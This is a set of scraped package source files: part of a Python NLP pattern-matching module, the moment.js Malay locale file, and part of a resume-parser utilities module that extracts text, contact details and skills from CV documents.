word, pos="NN"): try: return [w.synonyms[0] for w in self.wordnet.synsets(word, pos[:2])[0].hypernyms()] except: pass #from en import wordnet #taxonomy.classifiers.append(WordNetClassifier(wordnet)) #print(taxonomy.parents("ponder", pos="VB")) #print(taxonomy.children("computer")) #### PATTERN ####################################################################################### #--- PATTERN CONSTRAINT ---------------------------------------------------------------------------- # Allowed chunk, role and part-of-speech tags (Penn Treebank II): CHUNKS = dict.fromkeys(["NP", "PP", "VP", "ADVP", "ADJP", "SBAR", "PRT", "INTJ"], True) ROLES = dict.fromkeys(["SBJ", "OBJ", "PRD", "TMP", "CLR", "LOC", "DIR", "EXT", "PRP"], True) TAGS = dict.fromkeys(["CC", "CD", "CJ", "DT", "EX", "FW", "IN", "JJ", "JJR", "JJS", "JJ*", "LS", "MD", "NN", "NNS", "NNP", "NNP*", "NNPS", "NN*", "NO", "PDT", "PR", "PRP", "PRP$", "PR*", "PRP*", "PT", "RB", "RBR", "RBS", "RB*", "RP", "SYM", "TO", "UH", "VB", "VBZ", "VBP", "VBD", "VBN", "VBG", "VB*", "WDT", "WP*", "WRB", "X", ".", ",", ":", "(", ")"], True) ALPHA = re.compile("[a-zA-Z]") has_alpha = lambda string: ALPHA.match(string) is not None class Constraint(object): def __init__(self, words=[], tags=[], chunks=[], roles=[], taxa=[], optional=False, multiple=False, first=False, taxonomy=TAXONOMY, exclude=None, custom=None): """ A range of words, tags and taxonomy terms that matches certain words in a sentence. For example: Constraint.fromstring("with|of") matches either "with" or "of". Constraint.fromstring("(JJ)") optionally matches an adjective. Constraint.fromstring("NP|SBJ") matches subject noun phrases. Constraint.fromstring("QUANTITY|QUALITY") matches quantity-type and quality-type taxa. """ self.index = 0 self.words = list(words) # Allowed words/lemmata (of, with, ...) self.tags = list(tags) # Allowed parts-of-speech (NN, JJ, ...) self.chunks = list(chunks) # Allowed chunk types (NP, VP, ...) self.roles = list(roles) # Allowed chunk roles (SBJ, OBJ, ...) self.taxa = list(taxa) # Allowed word categories. self.taxonomy = taxonomy self.optional = optional self.multiple = multiple self.first = first self.exclude = exclude # Constraint of words that are *not* allowed, or None. self.custom = custom # Custom function(Word) returns True if word matches constraint. @classmethod def fromstring(cls, s, **kwargs): """ Returns a new Constraint from the given string. Uppercase words indicate either a tag ("NN", "JJ", "VP") or a taxonomy term (e.g., "PRODUCT", "PERSON"). Syntax: ( defines an optional constraint, e.g., "(JJ)". [ defines a constraint with spaces, e.g., "[Mac OS X | Windows Vista]". _ is converted to spaces, e.g., "Windows_Vista". | separates different options, e.g., "ADJP|ADVP". ! can be used as a word prefix to disallow it. * can be used as a wildcard character, e.g., "soft*|JJ*". ? as a suffix defines a constraint that is optional, e.g., "JJ?". + as a suffix defines a constraint that can span multiple words, e.g., "JJ+". ^ as a prefix defines a constraint that can only match the first word. These characters need to be escaped if used as content: "\(". """ C = cls(**kwargs) s = s.strip() s = s.strip("{}") s = s.strip() for i in range(3): # Wrapping order of control characters is ignored: # (NN+) == (NN)+ == NN?+ == NN+? == [NN+?] == [NN]+? if s.startswith("^"): s = s[1:]; C.first = True if s.endswith("+") and not s.endswith("\+"): s = s[0:-1]; C.multiple = True if s.endswith("?") and not s.endswith("\?"): s = s[0:-1]; C.optional = True if s.startswith("(") and s.endswith(")"): s = s[1:-1]; C.optional = True if s.startswith("[") and s.endswith("]"): s = s[1:-1] s = re.sub(r"^\\\^", "^", s) s = re.sub(r"\\\+$", "+", s) s = s.replace("\_", "&uscore;") s = s.replace("_", " ") s = s.replace("&uscore;", "_") s = s.replace("&lparen;", "(") s = s.replace("&rparen;", ")") s = s.replace("&lbrack;", "[") s = s.replace("&rbrack;", "]") s = s.replace("&lcurly;", "{") s = s.replace("&rcurly;", "}") s = s.replace("\(", "(") s = s.replace("\)", ")") s = s.replace("\[", "[") s = s.replace("\]", "]") s = s.replace("\{", "{") s = s.replace("\}", "}") s = s.replace("\*", "*") s = s.replace("\?", "?") s = s.replace("\+", "+") s = s.replace("\^", "^") s = s.replace("\|", "&vdash;") s = s.split("|") s = [v.replace("&vdash;", "|").strip() for v in s] for v in s: C._append(v) return C def _append(self, v): if v.startswith("!") and self.exclude is None: self.exclude = Constraint() if v.startswith("!"): self.exclude._append(v[1:]); return if "!" in v: v = v.replace("\!", "!") if v != v.upper(): self.words.append(v.lower()) elif v in TAGS: self.tags.append(v) elif v in CHUNKS: self.chunks.append(v) elif v in ROLES: self.roles.append(v) elif v in self.taxonomy or has_alpha(v): self.taxa.append(v.lower()) else: # Uppercase words indicate tags or taxonomy terms. # However, this also matches "*" or "?" or "0.25". # Unless such punctuation is defined in the taxonomy, it is added to Range.words. self.words.append(v.lower()) def match(self, word): """ Return True if the given Word is part of the constraint: - the word (or lemma) occurs in Constraint.words, OR - the word (or lemma) occurs in Constraint.taxa taxonomy tree, AND - the word and/or chunk tags match those defined in the constraint. Individual terms in Constraint.words or the taxonomy can contain wildcards (*). Some part-of-speech-tags can also contain wildcards: NN*, VB*, JJ*, RB*, PR*. If the given word contains spaces (e.g., proper noun), the entire chunk will also be compared. For example: Constraint(words=["Mac OS X*"]) matches the word "Mac" if the word occurs in a Chunk("Mac OS X 10.5"). """ # If the constraint has a custom function it must return True. if self.custom is not None and self.custom(word) is False: return False # If the constraint can only match the first word, Word.index must be 0. if self.first and word.index > 0: return False # If the constraint defines excluded options, Word can not match any of these. if self.exclude and self.exclude.match(word): return False # If the constraint defines allowed tags, Word.tag needs to match one of these. if self.tags: if find(lambda w: _match(word.tag, w), self.tags) is None: return False # If the constraint defines allowed chunks, Word.chunk.tag needs to match one of these. if self.chunks: ch = word.chunk and word.chunk.tag or None if find(lambda w: _match(ch, w), self.chunks) is None: return False # If the constraint defines allowed role, Word.chunk.tag needs to match one of these. if self.roles: R = word.chunk and [r2 for r1, r2 in word.chunk.relations] or [] if find(lambda w: w in R, self.roles) is None: return False # If the constraint defines allowed words, # Word.string.lower() OR Word.lemma needs to match one of these. b = True # b==True when word in constraint (or Constraints.words=[]). if len(self.words) + len(self.taxa) > 0: s1 = word.string.lower() s2 = word.lemma b = False for w in itertools.chain(self.words, self.taxa): # If the constraint has a word with spaces (e.g., a proper noun), # compare it to the entire chunk. try: if " " in w and (s1 in w or s2 and s2 in w or "*" in w): s1 = word.chunk and word.chunk.string.lower() or s1 s2 = word.chunk and " ".join(x or "" for x in word.chunk.lemmata) or s2 except Exception as e: s1 = s1 s2 = None # Compare the word to the allowed words (which can contain wildcards). if _match(s1, w): b = True break # Compare the word lemma to the allowed words, e.g., # if "was" is not in the constraint, perhaps "be" is, which is a good match. if s2 and _match(s2, w): b = True break # If the constraint defines allowed taxonomy terms, # and the given word did not match an allowed word, traverse the taxonomy. # The search goes up from the given word to its parents in the taxonomy. # This is faster than traversing all the children of terms in Constraint.taxa. # The drawback is that: # 1) Wildcards in the taxonomy are not detected (use classifiers instead), # 2) Classifier.children() has no effect, only Classifier.parent(). if self.taxa and (not self.words or (self.words and not b)): for s in ( word.string, # "ants" word.lemma, # "ant" word.chunk and word.chunk.string or None, # "army ants" word.chunk and " ".join([x or "" for x in word.chunk.lemmata]) or None): # "army ant" if s is not None: if self.taxonomy.case_sensitive is False: s = s.lower() # Compare ancestors of the word to each term in Constraint.taxa. for p in self.taxonomy.parents(s, recursive=True): if find(lambda s: p == s, self.taxa): # No wildcards. return True return b def __repr__(self): s = [] for k, v in ( ( "words", self.words), ( "tags", self.tags), ("chunks", self.chunks), ( "roles", self.roles), ( "taxa", self.taxa)): if v: s.append("%s=%s" % (k, repr(v))) return "Constraint(%s)" % ", ".join(s) @property def string(self): a = self.words + self.tags + self.chunks + self.roles + [w.upper() for w in self.taxa] a = (escape(s) for s in a) a = (s.replace("\\*", "*") for s in a) a = [s.replace(" ", "_") for s in a] if self.exclude: a.extend("!" + s for s in self.exclude.string[1:-1].split("|")) return (self.optional and "%s(%s)%s" or "%s[%s]%s") % ( self.first and "^" or "", "|".join(a), self.multiple and "+" or "") #--- PATTERN --------------------------------------------------------------------------------------- STRICT = "strict" GREEDY = "greedy" class Pattern(object): def __init__(self, sequence=[], *args, **kwargs): """ A sequence of constraints that matches certain phrases in a sentence. The given list of Constraint objects can contain nested lists (groups). """ # Parse nested lists and tuples from the sequence into groups. # [DT [JJ NN]] => Match.group(1) will yield the JJ NN sequences. def _ungroup(sequence, groups=None): for v in sequence: if isinstance(v, (list, tuple)): if groups is not None: groups.append(list(_ungroup(v, groups=None))) for v in _ungroup(v, groups): yield v else: yield v self.groups = [] self.sequence = list(_ungroup(sequence, groups=self.groups)) # Assign Constraint.index: i = 0 for constraint in self.sequence: constraint.index = i i += 1 # There are two search modes: STRICT and GREEDY. # - In STRICT, "rabbit" matches only the string "rabbit". # - In GREEDY, "rabbit|NN" matches the string "rabbit" tagged "NN". # - In GREEDY, "rabbit" matches "the big white rabbit" (the entire chunk is a match). # - Pattern.greedy(chunk, constraint) determines (True/False) if a chunk is a match. self.strict = kwargs.get("strict", STRICT in args and GREEDY not in args) self.greedy = kwargs.get("greedy", lambda chunk, constraint: True) def __iter__(self): return iter(self.sequence) def __len__(self): return len(self.sequence) def __getitem__(self, i): return self.sequence[i] @classmethod def fromstring(cls, s, *args, **kwargs): """ Returns a new Pattern from the given string. Constraints are separated by a space. If a constraint contains a space, it must be wrapped in []. """ s = s.replace("\(", "&lparen;") s = s.replace("\)", "&rparen;") s = s.replace("\[", "&lbrack;") s = s.replace("\]", "&rbrack;") s = s.replace("\{", "&lcurly;") s = s.replace("\}", "&rcurly;") p = [] i = 0 for m in re.finditer(r"\[.*?\]|\(.*?\)", s): # Spaces in a range encapsulated in square brackets are encoded. # "[Windows Vista]" is one range, don't split on space. p.append(s[i:m.start()]) p.append(s[m.start():m.end()].replace(" ", "&space;")); i = m.end() p.append(s[i:]) s = "".join(p) s = s.replace("][", "] [") s = s.replace(")(", ") (") s = s.replace("\|", "&vdash;") s = re.sub(r"\s+\|\s+", "|", s) s = re.sub(r"\s+", " ", s) s = re.sub(r"\{\s+", "{", s) s = re.sub(r"\s+\}", "}", s) s = s.split(" ") s = [v.replace("&space;", " ") for v in s] P = cls([], *args, **kwargs) G, O, i = [], [], 0 for s in s: constraint = Constraint.fromstring(s.strip("{}"), taxonomy=kwargs.get("taxonomy", TAXONOMY)) constraint.index = len(P.sequence) P.sequence.append(constraint) # Push a new group on the stack if string starts with "{". # Parse constraint from string, add it to all open groups. # Pop latest group from stack if string ends with "}". # Insert groups in opened-first order (i). while s.startswith("{"): s = s[1:] G.append((i, [])) i += 1 O.append([]) for g in G: g[1].append(constraint) while s.endswith("}"): s = s[:-1] if G: O[G[-1][0]] = G[-1][1] G.pop() P.groups = [g for g in O if g] return P def scan(self, string): """ Returns True if search(Sentence(string)) may yield matches. If is often faster to scan prior to creating a Sentence and searching it. """ # In the following example, first scan the string for "good" and "bad": # p = Pattern.fromstring("good|bad NN") # for s in open("parsed.txt"): # if p.scan(s): # s = Sentence(s) # m = p.search(s) # if m: # print(m) w = (constraint.words for constraint in self.sequence if not constraint.optional) w = itertools.chain(*w) w = [w.strip(WILDCARD) for w in w if WILDCARD not in w[1:-1]] if w and not any(w in string.lower() for w in w): return False return True def search(self, sentence): """ Returns a list of all matches found in the given sentence. """ if sentence.__class__.__name__ == "Sentence": pass elif isinstance(sentence, list) or sentence.__class__.__name__ == "Text": a = [] [a.extend(self.search(s)) for s in sentence] return a elif isinstance(sentence, str): sentence = Sentence(sentence) elif isinstance(sentence, Match) and len(sentence) > 0: sentence = sentence[0].sentence.slice(sentence[0].index, sentence[-1].index + 1) a = [] v = self._variations() u = {} m = self.match(sentence, _v=v) while m: a.append(m) m = self.match(sentence, start=m.words[-1].index + 1, _v=v, _u=u) return a def match(self, sentence, start=0, _v=None, _u=None): """ Returns the first match found in the given sentence, or None. """ if sentence.__class__.__name__ == "Sentence": pass elif isinstance(sentence, list) or sentence.__class__.__name__ == "Text": return find(lambda m: m is not None, (self.match(s, start, _v) for s in sentence)) elif isinstance(sentence, str): sentence = Sentence(sentence) elif isinstance(sentence, Match) and len(sentence) > 0: sentence = sentence[0].sentence.slice(sentence[0].index, sentence[-1].index + 1) # Variations (_v) further down the list may match words more to the front. # We need to check all of them. Unmatched variations are blacklisted (_u). # Pattern.search() calls Pattern.match() with a persistent blacklist (1.5x faster). a = [] for sequence in (_v is not None and _v or self._variations()): if _u is not None and id(sequence) in _u: continue m = self._match(sequence, sentence, start) if m is not None: a.append((m.words[0].index, len(m.words), m)) if m is not None and m.words[0].index == start: return m if m is None and _u is not None: _u[id(sequence)] = False # Return the leftmost-longest. if len(a) > 0: return sorted(a, key = lambda x: (x[0], -x[1]))[0][-1] def _variations(self): v = variations(self.sequence, optional=lambda constraint: constraint.optional) v = sorted(v, key=len, reverse=True) return v def _match(self, sequence, sentence, start=0, i=0, w0=None, map=None, d=0): # Backtracking tree search. # Finds the first match in the sentence of the given sequence of constraints. # start : the current word index. # i : the current constraint index. # w0 : the first word that matches a constraint. # map : a dictionary of (Word index, Constraint) items. # d : recursion depth. # XXX - We can probably rewrite all of this using (faster) regular expressions. if map is None: map = {} n = len(sequence) # --- MATCH ---------- if i == n: if w0 is not None: w1 = sentence.words[start - 1] # Greedy algorithm: # - "cat" matches "the big cat" if "cat" is head of the chunk. # - "Tom" matches "Tom the cat" if "Tom" is head of the chunk. # - This behavior is ignored with POS-tag constraints: # "Tom|NN" can only match single words, not chunks. # - This is also True for negated POS-tags (e.g., !NN). w01 = [w0, w1] for j in (0, -1): constraint, w = sequence[j], w01[j] if self.strict is False and w.chunk is not None: if not constraint.tags: if not constraint.exclude or not constraint.exclude.tags: if constraint.match(w.chunk.head): w01[j] = w.chunk.words[j] if constraint.exclude and constraint.exclude.match(w.chunk.head): return None if self.greedy(w.chunk, constraint) is False: # User-defined. return None w0, w1 = w01 # Update map for optional chunk words (see below). words = sentence.words[w0.index:w1.index + 1] for w in words: if w.index not in map and w.chunk: wx = find(lambda w: w.index in map, reversed(w.chunk.words)) if wx: map[w.index] = map[wx.index] # Return matched word range, we'll need the map to build Match.constituents(). return Match(self, words, map) return None # --- RECURSION -------- constraint = sequence[i] for w in sentence.words[start:]: #print(" "*d, "match?", w, sequence[i].string) # DEBUG if i < n and constraint.match(w): #print(" "*d, "match!", w, sequence[i].string) # DEBUG map[w.index] = constraint if constraint.multiple: # Next word vs. same constraint if Constraint.multiple=True. m = self._match(sequence, sentence, w.index + 1, i, w0 or w, map, d + 1) if m: return m # Next word vs. next constraint. m = self._match(sequence, sentence, w.index + 1, i + 1, w0 or w, map, d + 1) if m: return m # Chunk words other than the head are optional: # - Pattern.fromstring("cat") matches "cat" but also "the big cat" (overspecification). # - Pattern.fromstring("cat|NN") does not match "the big cat" (explicit POS-tag). if w0 and not constraint.tags: if not constraint.exclude and not self.strict and w.chunk and w.chunk.head != w: continue break # Part-of-speech tags match one single word. if w0 and constraint.tags: break if w0 and constraint.exclude and constraint.exclude.tags: break @property def string(self): return " ".join(constraint.string for constraint in self.sequence) _cache = {} _CACHE_SIZE = 100 # Number of dynamic Pattern objects to keep in cache. def compile(pattern, *args, **kwargs): """ Returns a Pattern from the given string or regular expression. Recently compiled patterns are kept in cache (if they do not use taxonomies, which are mutable dicts). """ id, p = repr(pattern) + repr(args), pattern if id in _cache and not kwargs: return _cache[id] if isinstance(pattern, str): p = Pattern.fromstring(pattern, *args, **kwargs) if isinstance(pattern, regexp): p = Pattern([Constraint(words=[pattern], taxonomy=kwargs.get("taxonomy", TAXONOMY))], *args, **kwargs) if len(_cache) > _CACHE_SIZE: _cache.clear() if isinstance(p, Pattern) and not kwargs: _cache[id] = p if isinstance(p, Pattern): return p else: raise TypeError("can't compile '%s' object" % pattern.__class__.__name__) def scan(pattern, string, *args, **kwargs): """ Returns True if pattern.search(Sentence(string)) may yield matches. If is often faster to scan prior to creating a Sentence and searching it. """ return compile(pattern, *args, **kwargs).scan(string) def match(pattern, sentence, *args, **kwargs): """ Returns the first match found in the given sentence, or None. """ return compile(pattern, *args, **kwargs).match(sentence) def search(pattern, sentence, *args, **kwargs): """ Returns a list of all matches found in the given sentence. """ return compile(pattern, *args, **kwargs).search(sentence) def escape(string): """ Returns the string with control characters for Pattern syntax escaped. For example: "hello!" => "hello\!". """ for ch in ("{", "}", "[", "]", "(", ")", "_", "|", "!", "*", "+", "^"): string = string.replace(ch, "\\" + ch) return string #--- PATTERN MATCH --------------------------------------------------------------------------------- class Match(object): def __init__(self, pattern, words=[], map={}): """ Search result returned from Pattern.match(sentence), containing a sequence of Word objects. """ self.pattern = pattern self.words = words self._map1 = dict() # Word index to Constraint. self._map2 = dict() # Constraint index to list of Word indices. for w in self.words: self._map1[w.index] = map[w.index] for k, v in self._map1.items(): self._map2.setdefault(self.pattern.sequence.index(v), []).append(k) for k, v in self._map2.items(): v.sort() def __len__(self): return len(self.words) def __iter__(self): return iter(self.words) def __getitem__(self, i): return self.words.__getitem__(i) @property def start(self): return self.words and self.words[0].index or None @property def stop(self): return self.words and self.words[-1].index + 1 or None def constraint(self, word): """ Returns the constraint that matches the given Word, or None. """ if word.index in self._map1: return self._map1[word.index] def constraints(self, chunk): """ Returns a list of constraints that match the given Chunk. """ a = [self._map1[w.index] for w in chunk.words if w.index in self._map1] b = [] [b.append(constraint) for constraint in a if constraint not in b] return b def constituents(self, constraint=None): """ Returns a list of Word and Chunk objects, where words have been grouped into their chunks whenever possible. Optionally, returns only chunks/words that match given constraint(s), or constraint index. """ # Select only words that match the given constraint. # Note: this will only work with constraints from Match.pattern.sequence. W = self.words n = len(self.pattern.sequence) if isinstance(constraint, (int, Constraint)): if isinstance(constraint, int): i = constraint i = i < 0 and i % n or i else: i = self.pattern.sequence.index(constraint) W = self._map2.get(i, []) W = [self.words[i - self.words[0].index] for i in W] if isinstance(constraint, (list, tuple)): W = [] [W.extend(self._map2.get(j < 0 and j % n or j, [])) for j in constraint] W = [self.words[i - self.words[0].index] for i in W] W = unique(W) a = [] i = 0 while i < len(W): w = W[i] if w.chunk and W[i:i + len(w.chunk)] == w.chunk.words: i += len(w.chunk) - 1 a.append(w.chunk) else: a.append(w) i += 1 return a def group(self, index, chunked=False): """ Returns a list of Word objects that match the given group. With chunked=True, returns a list of Word + Chunk objects - see Match.constituents(). A group consists of consecutive constraints wrapped in { }, e.g., search("{JJ JJ} NN", Sentence(parse("big black cat"))).group(1) => big black. """ if index < 0 or index > len(self.pattern.groups): raise IndexError("no such group") if index > 0 and index <= len(self.pattern.groups): g = self.pattern.groups[index - 1] if index == 0: g = self.pattern.sequence if chunked is True: return Group(self, self.constituents(constraint=[self.pattern.sequence.index(x) for x in g])) return Group(self, [w for w in self.words if self.constraint(w) in g]) @property def string(self): return " ".join(w.string for w in self.words) def __repr__(self): return "Match(words=%s)" % repr(self.words) #--- PATTERN MATCH GROUP --------------------------------------------------------------------------- class Group(list): def __init__(self, match, words): list.__init__(self, words) self.match = match @property def words(self): return list(self) @property def start(self): return self and self[0].index or None @property def stop(self): return self and self[-1].index + 1 or None @property def string(self): return " ".join(w.string for w in self)
PypiClean
/Flask_AdminLTE3-1.0.9-py3-none-any.whl/flask_adminlte3/static/plugins/moment/locale/ms-my.js
;(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' && typeof require === 'function' ? factory(require('../moment')) : typeof define === 'function' && define.amd ? define(['../moment'], factory) : factory(global.moment) }(this, (function (moment) { 'use strict'; //! moment.js locale configuration var msMy = moment.defineLocale('ms-my', { months: 'Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember'.split( '_' ), monthsShort: 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis'.split('_'), weekdays: 'Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu'.split('_'), weekdaysShort: 'Ahd_Isn_Sel_Rab_Kha_Jum_Sab'.split('_'), weekdaysMin: 'Ah_Is_Sl_Rb_Km_Jm_Sb'.split('_'), longDateFormat: { LT: 'HH.mm', LTS: 'HH.mm.ss', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY [pukul] HH.mm', LLLL: 'dddd, D MMMM YYYY [pukul] HH.mm', }, meridiemParse: /pagi|tengahari|petang|malam/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'pagi') { return hour; } else if (meridiem === 'tengahari') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'petang' || meridiem === 'malam') { return hour + 12; } }, meridiem: function (hours, minutes, isLower) { if (hours < 11) { return 'pagi'; } else if (hours < 15) { return 'tengahari'; } else if (hours < 19) { return 'petang'; } else { return 'malam'; } }, calendar: { sameDay: '[Hari ini pukul] LT', nextDay: '[Esok pukul] LT', nextWeek: 'dddd [pukul] LT', lastDay: '[Kelmarin pukul] LT', lastWeek: 'dddd [lepas pukul] LT', sameElse: 'L', }, relativeTime: { future: 'dalam %s', past: '%s yang lepas', s: 'beberapa saat', ss: '%d saat', m: 'seminit', mm: '%d minit', h: 'sejam', hh: '%d jam', d: 'sehari', dd: '%d hari', M: 'sebulan', MM: '%d bulan', y: 'setahun', yy: '%d tahun', }, week: { dow: 1, // Monday is the first day of the week. doy: 7, // The week that contains Jan 7th is the first week of the year. }, }); return msMy; })));
PypiClean
/Custom_CVParser-0.0.5-py3-none-any.whl/custom_CVParser/utils.py
import io import os import re import nltk import pandas as pd import docx2txt from datetime import datetime from dateutil import relativedelta try: from . import constants as cs except: import constants as cs from pdfminer.converter import TextConverter from pdfminer.pdfinterp import PDFPageInterpreter from pdfminer.pdfinterp import PDFResourceManager from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage from pdfminer.pdfparser import PDFSyntaxError from nltk.stem import WordNetLemmatizer from nltk.corpus import stopwords def extract_text_from_pdf(pdf_path): ''' Helper function to extract the plain text from .pdf files :param pdf_path: path to PDF file to be extracted (remote or local) :return: iterator of string of extracted text ''' # https://www.blog.pythonlibrary.org/2018/05/03/exporting-data-from-pdfs-with-python/ if not isinstance(pdf_path, io.BytesIO): # extract text from local pdf file with open(pdf_path, 'rb') as fh: try: for page in PDFPage.get_pages( fh, caching=True, check_extractable=True ): resource_manager = PDFResourceManager() fake_file_handle = io.StringIO() converter = TextConverter( resource_manager, fake_file_handle, codec='utf-8', laparams=LAParams() ) page_interpreter = PDFPageInterpreter( resource_manager, converter ) page_interpreter.process_page(page) text = fake_file_handle.getvalue() yield text # close open handles converter.close() fake_file_handle.close() except PDFSyntaxError: return else: # extract text from remote pdf file try: for page in PDFPage.get_pages( pdf_path, caching=True, check_extractable=True ): resource_manager = PDFResourceManager() fake_file_handle = io.StringIO() converter = TextConverter( resource_manager, fake_file_handle, codec='utf-8', laparams=LAParams() ) page_interpreter = PDFPageInterpreter( resource_manager, converter ) page_interpreter.process_page(page) text = fake_file_handle.getvalue() yield text # close open handles converter.close() fake_file_handle.close() except PDFSyntaxError: return def get_number_of_pages(file_name): try: if isinstance(file_name, io.BytesIO): # for remote pdf file count = 0 for page in PDFPage.get_pages( file_name, caching=True, check_extractable=True ): count += 1 return count else: # for local pdf file if file_name.endswith('.pdf'): count = 0 with open(file_name, 'rb') as fh: for page in PDFPage.get_pages( fh, caching=True, check_extractable=True ): count += 1 return count else: return None except PDFSyntaxError: return None def extract_text_from_docx(doc_path): ''' Helper function to extract plain text from .docx files :param doc_path: path to .docx file to be extracted :return: string of extracted text ''' try: temp = docx2txt.process(doc_path) text = [line.replace('\t', ' ') for line in temp.split('\n') if line] return ' '.join(text) except KeyError: return ' ' def extract_text_from_doc(doc_path): ''' Helper function to extract plain text from .doc files :param doc_path: path to .doc file to be extracted :return: string of extracted text ''' try: try: import textract except ImportError: return ' ' text = textract.process(doc_path).decode('utf-8') return text except KeyError: return ' ' def extract_text(file_path, extension): ''' Wrapper function to detect the file extension and call text extraction function accordingly :param file_path: path of file of which text is to be extracted :param extension: extension of file `file_name` ''' text = '' if extension == '.pdf': for page in extract_text_from_pdf(file_path): text += ' ' + page elif extension == '.docx': text = extract_text_from_docx(file_path) elif extension == '.doc': text = extract_text_from_doc(file_path) return text def extract_entity_sections_grad(text): ''' Helper function to extract all the raw text from sections of resume specifically for graduates and undergraduates :param text: Raw text of resume :return: dictionary of entities ''' text_split = [i.strip() for i in text.split('\n')] # sections_in_resume = [i for i in text_split if i.lower() in sections] entities = {} key = False for phrase in text_split: if len(phrase) == 1: p_key = phrase else: p_key = set(phrase.lower().split()) & set(cs.RESUME_SECTIONS_GRAD) try: p_key = list(p_key)[0] except IndexError: pass if p_key in cs.RESUME_SECTIONS_GRAD: entities[p_key] = [] key = p_key elif key and phrase.strip(): entities[key].append(phrase) # entity_key = False # for entity in entities.keys(): # sub_entities = {} # for entry in entities[entity]: # if u'\u2022' not in entry: # sub_entities[entry] = [] # entity_key = entry # elif entity_key: # sub_entities[entity_key].append(entry) # entities[entity] = sub_entities # pprint.pprint(entities) # make entities that are not found None # for entity in cs.RESUME_SECTIONS: # if entity not in entities.keys(): # entities[entity] = None return entities def extract_entities_wih_custom_model(custom_nlp_text): ''' Helper function to extract different entities with custom trained model using SpaCy's NER :param custom_nlp_text: object of `spacy.tokens.doc.Doc` :return: dictionary of entities ''' entities = {} for ent in custom_nlp_text.ents: if ent.label_ not in entities.keys(): entities[ent.label_] = [ent.text] else: entities[ent.label_].append(ent.text) for key in entities.keys(): entities[key] = list(set(entities[key])) return entities def get_total_experience(experience_list): ''' Wrapper function to extract total months of experience from a resume :param experience_list: list of experience text extracted :return: total months of experience ''' exp_ = [] for line in experience_list: experience = re.search( r'(?P<fmonth>\w+.\d+)\s*(\D|to)\s*(?P<smonth>\w+.\d+|present)', line, re.I ) if experience: exp_.append(experience.groups()) total_exp = sum( [get_number_of_months_from_dates(i[0], i[2]) for i in exp_] ) total_experience_in_months = total_exp return total_experience_in_months def get_number_of_months_from_dates(date1, date2): ''' Helper function to extract total months of experience from a resume :param date1: Starting date :param date2: Ending date :return: months of experience from date1 to date2 ''' if date2.lower() == 'present': date2 = datetime.now().strftime('%b %Y') try: if len(date1.split()[0]) > 3: date1 = date1.split() date1 = date1[0][:3] + ' ' + date1[1] if len(date2.split()[0]) > 3: date2 = date2.split() date2 = date2[0][:3] + ' ' + date2[1] except IndexError: return 0 try: date1 = datetime.strptime(str(date1), '%b %Y') date2 = datetime.strptime(str(date2), '%b %Y') months_of_experience = relativedelta.relativedelta(date2, date1) months_of_experience = (months_of_experience.years * 12 + months_of_experience.months) except ValueError: return 0 return months_of_experience def extract_entity_sections_professional(text): ''' Helper function to extract all the raw text from sections of resume specifically for professionals :param text: Raw text of resume :return: dictionary of entities ''' text_split = [i.strip() for i in text.split('\n')] entities = {} key = False for phrase in text_split: if len(phrase) == 1: p_key = phrase else: p_key = set(phrase.lower().split()) \ & set(cs.RESUME_SECTIONS_PROFESSIONAL) try: p_key = list(p_key)[0] except IndexError: pass if p_key in cs.RESUME_SECTIONS_PROFESSIONAL: entities[p_key] = [] key = p_key elif key and phrase.strip(): entities[key].append(phrase) return entities def extract_email(text): ''' Helper function to extract email id from text :param text: plain text extracted from resume file ''' email = re.findall(r"([^@|\s]+@[^@]+\.[^@|\s]+)", text) if email: try: return email[0].split()[0].strip(';') except IndexError: return None def extract_name(nlp_text, matcher): ''' Helper function to extract name from spacy nlp text :param nlp_text: object of `spacy.tokens.doc.Doc` :param matcher: object of `spacy.matcher.Matcher` :return: string of full name ''' pattern = [cs.NAME_PATTERN] matcher.add('NAME', None, *pattern) matches = matcher(nlp_text) for _, start, end in matches: span = nlp_text[start:end] if 'name' not in span.text.lower(): return span.text def extract_mobile_number(text, custom_regex=None): ''' Helper function to extract mobile number from text :param text: plain text extracted from resume file :return: string of extracted mobile numbers ''' # Found this complicated regex on : # https://zapier.com/blog/extract-links-email-phone-regex/ # mob_num_regex = r'''(?:(?:\+?([1-9]|[0-9][0-9]| # [0-9][0-9][0-9])\s*(?:[.-]\s*)?)?(?:\(\s*([2-9]1[02-9]| # [2-9][02-8]1|[2-9][02-8][02-9])\s*\)|([0-9][1-9]| # [0-9]1[02-9]|[2-9][02-8]1| # [2-9][02-8][02-9]))\s*(?:[.-]\s*)?)?([2-9]1[02-9]| # [2-9][02-9]1|[2-9][02-9]{2})\s*(?:[.-]\s*)?([0-9]{7}) # (?:\s*(?:#|x\.?|ext\.?| # extension)\s*(\d+))?''' if not custom_regex: mob_num_regex = r'''(\d{3}[-\.\s]??\d{3}[-\.\s]??\d{4}|\(\d{3}\) [-\.\s]*\d{3}[-\.\s]??\d{4}|\d{3}[-\.\s]??\d{4})''' phone = re.findall(re.compile(mob_num_regex), text) else: phone = re.findall(re.compile(custom_regex), text) if phone: number = ''.join(phone[0]) return number def extract_skills(nlp_text, noun_chunks, skills_file=None): ''' Helper function to extract skills from spacy nlp text :param nlp_text: object of `spacy.tokens.doc.Doc` :param noun_chunks: noun chunks extracted from nlp text :return: list of skills extracted ''' tokens = [token.text for token in nlp_text if not token.is_stop] if not skills_file: data = pd.read_csv( os.path.join(os.path.dirname(__file__), 'skills.csv') ) else: data = pd.read_csv(skills_file) skills = list(data.columns.values) skillset = [] # check for one-grams for token in tokens: if token.lower() in skills: skillset.append(token) # check for bi-grams and tri-grams for token in noun_chunks: token = token.text.lower().strip() if token in skills: skillset.append(token) return [i.capitalize() for i in set([i.lower() for i in skillset])] def cleanup(token, lower=True): if lower: token = token.lower() return token.strip() def extract_education(nlp_text): ''' Helper function to extract education from spacy nlp text :param nlp_text: object of `spacy.tokens.doc.Doc` :return: tuple of education degree and year if year if found else only returns education degree ''' edu = {} # Extract education degree try: for index, text in enumerate(nlp_text): for tex in text.split(): tex = re.sub(r'[?|$|.|!|,]', r'', tex) if tex.upper() 